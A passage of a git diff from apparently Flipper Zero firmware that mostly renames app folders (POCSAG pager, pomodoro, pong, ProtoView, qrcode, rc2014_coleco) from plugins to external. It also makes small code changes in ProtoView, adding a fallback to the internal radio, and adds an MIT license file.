rename to applications/external/pocsag_pager/protocols/protocol_items.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_receiver.c b/applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_receiver.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_receiver.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene.h similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene.h rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_about.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_about.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_about.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_config.h b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_config.h rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_config.h diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c diff --git a/applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_start.c b/applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c similarity index 100% rename from applications/plugins/pocsag_pager/scenes/pocsag_pager_scene_start.c rename to applications/external/pocsag_pager/scenes/pocsag_pager_scene_start.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver.c similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver.c rename to applications/external/pocsag_pager/views/pocsag_pager_receiver.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver.h similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver.h rename to applications/external/pocsag_pager/views/pocsag_pager_receiver.h diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.c b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.c rename to applications/external/pocsag_pager/views/pocsag_pager_receiver_info.c diff --git a/applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.h b/applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h similarity index 100% rename from applications/plugins/pocsag_pager/views/pocsag_pager_receiver_info.h rename to applications/external/pocsag_pager/views/pocsag_pager_receiver_info.h diff --git a/applications/plugins/pomodoro/application.fam b/applications/external/pomodoro/application.fam similarity index 100% rename from applications/plugins/pomodoro/application.fam rename to applications/external/pomodoro/application.fam diff --git a/applications/plugins/pomodoro/flipp_pomodoro_10.png b/applications/external/pomodoro/flipp_pomodoro_10.png similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_10.png rename to applications/external/pomodoro/flipp_pomodoro_10.png diff --git a/applications/plugins/pomodoro/flipp_pomodoro_app.c b/applications/external/pomodoro/flipp_pomodoro_app.c similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_app.c rename to applications/external/pomodoro/flipp_pomodoro_app.c diff --git a/applications/plugins/pomodoro/flipp_pomodoro_app.h b/applications/external/pomodoro/flipp_pomodoro_app.h similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_app.h rename to applications/external/pomodoro/flipp_pomodoro_app.h diff --git a/applications/plugins/pomodoro/flipp_pomodoro_app_i.h b/applications/external/pomodoro/flipp_pomodoro_app_i.h similarity index 100% rename from applications/plugins/pomodoro/flipp_pomodoro_app_i.h rename to applications/external/pomodoro/flipp_pomodoro_app_i.h diff --git a/applications/plugins/pomodoro/helpers/debug.h b/applications/external/pomodoro/helpers/debug.h similarity index 100% rename from applications/plugins/pomodoro/helpers/debug.h rename to applications/external/pomodoro/helpers/debug.h diff --git a/applications/plugins/pomodoro/helpers/notifications.c b/applications/external/pomodoro/helpers/notifications.c similarity index 100% rename from applications/plugins/pomodoro/helpers/notifications.c rename to applications/external/pomodoro/helpers/notifications.c diff --git a/applications/plugins/pomodoro/helpers/notifications.h b/applications/external/pomodoro/helpers/notifications.h similarity index 100% rename from applications/plugins/pomodoro/helpers/notifications.h rename to applications/external/pomodoro/helpers/notifications.h diff --git a/applications/plugins/pomodoro/helpers/time.c b/applications/external/pomodoro/helpers/time.c similarity index 100% rename from applications/plugins/pomodoro/helpers/time.c rename to applications/external/pomodoro/helpers/time.c diff --git a/applications/plugins/pomodoro/helpers/time.h b/applications/external/pomodoro/helpers/time.h similarity index 100% rename from applications/plugins/pomodoro/helpers/time.h rename to applications/external/pomodoro/helpers/time.h diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png b/applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png rename to applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png b/applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png rename to applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_rate b/applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_rate similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_focus_64/frame_rate rename to applications/external/pomodoro/images/flipp_pomodoro_focus_64/frame_rate diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png b/applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png rename to applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png b/applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png rename to applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png diff --git a/applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_rate b/applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_rate similarity index 100% rename from applications/plugins/pomodoro/images/flipp_pomodoro_rest_64/frame_rate rename to applications/external/pomodoro/images/flipp_pomodoro_rest_64/frame_rate diff --git a/applications/plugins/pomodoro/modules/flipp_pomodoro.c b/applications/external/pomodoro/modules/flipp_pomodoro.c similarity index 100% rename from applications/plugins/pomodoro/modules/flipp_pomodoro.c rename to applications/external/pomodoro/modules/flipp_pomodoro.c diff --git a/applications/plugins/pomodoro/modules/flipp_pomodoro.h b/applications/external/pomodoro/modules/flipp_pomodoro.h similarity index 100% rename from applications/plugins/pomodoro/modules/flipp_pomodoro.h rename to applications/external/pomodoro/modules/flipp_pomodoro.h diff --git a/applications/plugins/pomodoro/scenes/.keep b/applications/external/pomodoro/scenes/.keep similarity index 100% rename from applications/plugins/pomodoro/scenes/.keep rename to applications/external/pomodoro/scenes/.keep diff --git a/applications/plugins/pomodoro/scenes/config/flipp_pomodoro_scene_config.h b/applications/external/pomodoro/scenes/config/flipp_pomodoro_scene_config.h similarity index 100% rename from applications/plugins/pomodoro/scenes/config/flipp_pomodoro_scene_config.h rename to applications/external/pomodoro/scenes/config/flipp_pomodoro_scene_config.h diff --git a/applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.c b/applications/external/pomodoro/scenes/flipp_pomodoro_scene.c similarity index 100% rename from applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.c rename to applications/external/pomodoro/scenes/flipp_pomodoro_scene.c diff --git a/applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.h b/applications/external/pomodoro/scenes/flipp_pomodoro_scene.h similarity index 100% rename from applications/plugins/pomodoro/scenes/flipp_pomodoro_scene.h rename to applications/external/pomodoro/scenes/flipp_pomodoro_scene.h diff --git a/applications/plugins/pomodoro/scenes/flipp_pomodoro_scene_timer.c b/applications/external/pomodoro/scenes/flipp_pomodoro_scene_timer.c similarity index 100% rename from applications/plugins/pomodoro/scenes/flipp_pomodoro_scene_timer.c rename to applications/external/pomodoro/scenes/flipp_pomodoro_scene_timer.c diff --git a/applications/plugins/pomodoro/views/.keep b/applications/external/pomodoro/views/.keep similarity index 100% rename from applications/plugins/pomodoro/views/.keep rename to applications/external/pomodoro/views/.keep diff --git a/applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.c b/applications/external/pomodoro/views/flipp_pomodoro_timer_view.c similarity index 100% rename from applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.c rename to applications/external/pomodoro/views/flipp_pomodoro_timer_view.c diff --git a/applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.h b/applications/external/pomodoro/views/flipp_pomodoro_timer_view.h similarity index 100% rename from applications/plugins/pomodoro/views/flipp_pomodoro_timer_view.h rename to applications/external/pomodoro/views/flipp_pomodoro_timer_view.h diff --git a/applications/plugins/pong/application.fam b/applications/external/pong/application.fam similarity index 100% rename from applications/plugins/pong/application.fam rename to applications/external/pong/application.fam diff --git a/applications/plugins/pong/flipper_pong.c b/applications/external/pong/flipper_pong.c similarity index 100% rename from applications/plugins/pong/flipper_pong.c rename to applications/external/pong/flipper_pong.c diff --git a/applications/plugins/pong/pong.png b/applications/external/pong/pong.png similarity index 100% rename from applications/plugins/pong/pong.png rename to applications/external/pong/pong.png diff --git a/applications/plugins/protoview/LICENSE b/applications/external/protoview/LICENSE similarity index 100% rename from applications/plugins/protoview/LICENSE rename to applications/external/protoview/LICENSE diff --git a/applications/plugins/protoview/app.c b/applications/external/protoview/app.c similarity index 98% rename from applications/plugins/protoview/app.c rename to applications/external/protoview/app.c index a4dab9f40..2d3acccac 100644 --- a/applications/plugins/protoview/app.c +++ b/applications/external/protoview/app.c @@ -2,6 +2,7 @@ * See the LICENSE file for information about the license. */ #include "app.h" +#include RawSamplesBuffer *RawSamples, *DetectedSamples; extern const SubGhzProtocolRegistry protoview_protocol_registry; @@ -169,6 +170,11 @@ ProtoViewApp* protoview_app_alloc() { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); app->running = 1; @@ -253,6 +259,7 @@ static bool keyboard_view_dispatcher_navigation_callback(void* ctx) { int32_t protoview_app_entry(void* p) { UNUSED(p); ProtoViewApp* app = protoview_app_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); /* Create a timer. We do data analysis in the callback. */ FuriTimer* timer = furi_timer_alloc(timer_callback, FuriTimerTypePeriodic, app); diff --git a/applications/plugins/protoview/app.h b/applications/external/protoview/app.h similarity index 100% rename from applications/plugins/protoview/app.h rename to applications/external/protoview/app.h diff --git a/applications/plugins/protoview/app_subghz.c b/applications/external/protoview/app_subghz.c similarity index 100% rename from applications/plugins/protoview/app_subghz.c rename to applications/external/protoview/app_subghz.c diff --git a/applications/plugins/protoview/appicon.png b/applications/external/protoview/appicon.png similarity index 100% rename from applications/plugins/protoview/appicon.png rename to applications/external/protoview/appicon.png diff --git a/applications/plugins/protoview/application.fam b/applications/external/protoview/application.fam similarity index 88% rename from applications/plugins/protoview/application.fam rename to applications/external/protoview/application.fam index 22ad2d628..329a95c8a 100644 --- a/applications/plugins/protoview/application.fam +++ b/applications/external/protoview/application.fam @@ -3,7 +3,6 @@ App( name="ProtoView", apptype=FlipperAppType.EXTERNAL, entry_point="protoview_app_entry", - cdefines=["APP_PROTOVIEW"], requires=["gui"], stack_size=8 * 1024, order=50, diff --git a/applications/plugins/protoview/crc.c b/applications/external/protoview/crc.c similarity index 100% rename from applications/plugins/protoview/crc.c rename to applications/external/protoview/crc.c diff --git a/applications/plugins/protoview/custom_presets.h b/applications/external/protoview/custom_presets.h similarity index 100% rename from applications/plugins/protoview/custom_presets.h rename to applications/external/protoview/custom_presets.h diff --git a/applications/plugins/protoview/fields.c b/applications/external/protoview/fields.c similarity index 100% rename from applications/plugins/protoview/fields.c rename to applications/external/protoview/fields.c diff --git a/applications/plugins/protoview/protocols/b4b1.c b/applications/external/protoview/protocols/b4b1.c similarity index 100% rename from applications/plugins/protoview/protocols/b4b1.c rename to applications/external/protoview/protocols/b4b1.c diff --git a/applications/plugins/protoview/protocols/keeloq.c b/applications/external/protoview/protocols/keeloq.c similarity index 100% rename from applications/plugins/protoview/protocols/keeloq.c rename to applications/external/protoview/protocols/keeloq.c diff --git a/applications/plugins/protoview/protocols/oregon2.c b/applications/external/protoview/protocols/oregon2.c similarity index 100% rename from applications/plugins/protoview/protocols/oregon2.c rename to applications/external/protoview/protocols/oregon2.c diff --git a/applications/plugins/protoview/protocols/pvchat.c b/applications/external/protoview/protocols/pvchat.c similarity index 100% rename from applications/plugins/protoview/protocols/pvchat.c rename to applications/external/protoview/protocols/pvchat.c diff --git a/applications/plugins/protoview/protocols/tpms/citroen.c b/applications/external/protoview/protocols/tpms/citroen.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/citroen.c rename to applications/external/protoview/protocols/tpms/citroen.c diff --git a/applications/plugins/protoview/protocols/tpms/ford.c b/applications/external/protoview/protocols/tpms/ford.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/ford.c rename to applications/external/protoview/protocols/tpms/ford.c diff --git a/applications/plugins/protoview/protocols/tpms/renault.c b/applications/external/protoview/protocols/tpms/renault.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/renault.c rename to applications/external/protoview/protocols/tpms/renault.c diff --git a/applications/plugins/protoview/protocols/tpms/schrader.c b/applications/external/protoview/protocols/tpms/schrader.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/schrader.c rename to applications/external/protoview/protocols/tpms/schrader.c diff --git a/applications/plugins/protoview/protocols/tpms/schrader_eg53ma4.c b/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/schrader_eg53ma4.c rename to applications/external/protoview/protocols/tpms/schrader_eg53ma4.c diff --git a/applications/plugins/protoview/protocols/tpms/toyota.c b/applications/external/protoview/protocols/tpms/toyota.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/toyota.c rename to applications/external/protoview/protocols/tpms/toyota.c diff --git a/applications/plugins/protoview/protocols/unknown.c b/applications/external/protoview/protocols/unknown.c similarity index 100% rename from applications/plugins/protoview/protocols/unknown.c rename to applications/external/protoview/protocols/unknown.c diff --git a/applications/plugins/protoview/raw_samples.c b/applications/external/protoview/raw_samples.c similarity index 100% rename from applications/plugins/protoview/raw_samples.c rename to applications/external/protoview/raw_samples.c diff --git a/applications/plugins/protoview/raw_samples.h b/applications/external/protoview/raw_samples.h similarity index 100% rename from applications/plugins/protoview/raw_samples.h rename to applications/external/protoview/raw_samples.h diff --git a/applications/plugins/protoview/signal.c b/applications/external/protoview/signal.c similarity index 100% rename from applications/plugins/protoview/signal.c rename to applications/external/protoview/signal.c diff --git a/applications/plugins/protoview/signal_file.c b/applications/external/protoview/signal_file.c similarity index 100% rename from applications/plugins/protoview/signal_file.c rename to applications/external/protoview/signal_file.c diff --git a/applications/plugins/protoview/ui.c b/applications/external/protoview/ui.c similarity index 100% rename from applications/plugins/protoview/ui.c rename to applications/external/protoview/ui.c diff --git a/applications/plugins/protoview/view_build.c b/applications/external/protoview/view_build.c similarity index 100% rename from applications/plugins/protoview/view_build.c rename to applications/external/protoview/view_build.c diff --git a/applications/plugins/protoview/view_direct_sampling.c b/applications/external/protoview/view_direct_sampling.c similarity index 100% rename from applications/plugins/protoview/view_direct_sampling.c rename to applications/external/protoview/view_direct_sampling.c diff --git a/applications/plugins/protoview/view_info.c b/applications/external/protoview/view_info.c similarity index 100% rename from applications/plugins/protoview/view_info.c rename to applications/external/protoview/view_info.c diff --git a/applications/plugins/protoview/view_raw_signal.c b/applications/external/protoview/view_raw_signal.c similarity index 100% rename from applications/plugins/protoview/view_raw_signal.c rename to applications/external/protoview/view_raw_signal.c diff --git a/applications/plugins/protoview/view_settings.c b/applications/external/protoview/view_settings.c similarity index 100% rename from applications/plugins/protoview/view_settings.c rename to applications/external/protoview/view_settings.c diff --git a/applications/external/qrcode/LICENSE b/applications/external/qrcode/LICENSE new file mode 100644 index 000000000..85e7f6b40 --- /dev/null +++ b/applications/external/qrcode/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Bob Matcuk + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/applications/plugins/qrcode/application.fam b/applications/external/qrcode/application.fam similarity index 100% rename from applications/plugins/qrcode/application.fam rename to applications/external/qrcode/application.fam diff --git a/applications/plugins/qrcode/icons/qrcode_10px.png b/applications/external/qrcode/icons/qrcode_10px.png similarity index 100% rename from applications/plugins/qrcode/icons/qrcode_10px.png rename to applications/external/qrcode/icons/qrcode_10px.png diff --git a/applications/plugins/qrcode/qrcode.c b/applications/external/qrcode/qrcode.c similarity index 100% rename from applications/plugins/qrcode/qrcode.c rename to applications/external/qrcode/qrcode.c diff --git a/applications/plugins/qrcode/qrcode.h b/applications/external/qrcode/qrcode.h similarity index 100% rename from applications/plugins/qrcode/qrcode.h rename to applications/external/qrcode/qrcode.h diff --git a/applications/plugins/qrcode/qrcode_app.c b/applications/external/qrcode/qrcode_app.c similarity index 100% rename from applications/plugins/qrcode/qrcode_app.c rename to applications/external/qrcode/qrcode_app.c diff --git a/applications/plugins/tuning_fork/LICENSE b/applications/external/rc2014_coleco/LICENSE similarity index 100% rename from applications/plugins/tuning_fork/LICENSE rename to applications/external/rc2014_coleco/LICENSE diff --git a/applications/plugins/rc2014_coleco/application.fam b/applications/external/rc2014_coleco/application.fam similarity index 100% rename from applications/plugins/rc2014_coleco/application.fam rename to applications/external/rc2014_coleco/application.fam diff --git a/applications/plugins/rc2014_coleco/coleco.c b/applications/external/rc2014_coleco/coleco.c similarity index 100% rename from applications/plugins/rc2014_coleco/coleco.c rename to applications/external/rc2014_coleco/coleco.c diff --git a/applications/plugins/rc2014_coleco/coleco_10px.png b/applications/external/rc2014_coleco/coleco_10px.png similarity index 100% rename from applications/plugins/rc2014_coleco/coleco_10px.png rename to applications/external/rc2014_coleco/coleco_10px.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco0_17x17.png b/applications/external/rc2014_coleco/icons/Coleco0_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco0_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco0_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco0_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco0_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco0_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco0_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco1_17x17.png b/applications/external/rc2014_coleco/icons/Coleco1_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco1_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco1_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco1_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco1_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco1_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco1_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco2_17x17.png b/applications/external/rc2014_coleco/icons/Coleco2_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco2_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco2_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco2_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco2_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco2_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco2_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco3_17x17.png b/applications/external/rc2014_coleco/icons/Coleco3_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco3_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco3_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco3_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco3_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco3_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco3_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco4_17x17.png b/applications/external/rc2014_coleco/icons/Coleco4_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco4_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco4_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco4_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco4_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco4_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco4_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco5_17x17.png b/applications/external/rc2014_coleco/icons/Coleco5_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco5_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco5_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco5_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco5_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco5_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco5_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco6_17x17.png b/applications/external/rc2014_coleco/icons/Coleco6_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco6_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco6_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco6_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco6_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco6_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco6_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco7_17x17.png b/applications/external/rc2014_coleco/icons/Coleco7_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco7_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco7_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco7_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco7_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco7_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco7_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco8_17x17.png b/applications/external/rc2014_coleco/icons/Coleco8_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco8_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco8_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco8_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco8_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco8_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco8_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco9_17x17.png b/applications/external/rc2014_coleco/icons/Coleco9_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco9_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco9_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/Coleco9_hvr_17x17.png b/applications/external/rc2014_coleco/icons/Coleco9_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/Coleco9_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/Coleco9_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoAlt_18x9.png b/applications/external/rc2014_coleco/icons/ColecoAlt_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoAlt_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoAlt_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png b/applications/external/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoFire_18x9.png b/applications/external/rc2014_coleco/icons/ColecoFire_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoFire_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoFire_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoFire_hvr_18x9.png b/applications/external/rc2014_coleco/icons/ColecoFire_hvr_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoFire_hvr_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoFire_hvr_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoFire_sel_18x9.png b/applications/external/rc2014_coleco/icons/ColecoFire_sel_18x9.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoFire_sel_18x9.png rename to applications/external/rc2014_coleco/icons/ColecoFire_sel_18x9.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoJoystick_33x33.png b/applications/external/rc2014_coleco/icons/ColecoJoystick_33x33.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoJoystick_33x33.png rename to applications/external/rc2014_coleco/icons/ColecoJoystick_33x33.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png b/applications/external/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png rename to applications/external/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png b/applications/external/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png rename to applications/external/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoPound_17x17.png b/applications/external/rc2014_coleco/icons/ColecoPound_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoPound_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoPound_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoPound_hvr_17x17.png b/applications/external/rc2014_coleco/icons/ColecoPound_hvr_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoPound_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoPound_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoStar_17x17.png b/applications/external/rc2014_coleco/icons/ColecoStar_17x17.png similarity index 100% rename from applications/plugins/rc2014_coleco/icons/ColecoStar_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoStar_17x17.png diff --git a/applications/plugins/rc2014_coleco/icons/ColecoStar_hvr_17x17.png b/applications/external/rc2014_coleco/icons/ColecoStar_hvr_17x17.png similarity index 100% rename from 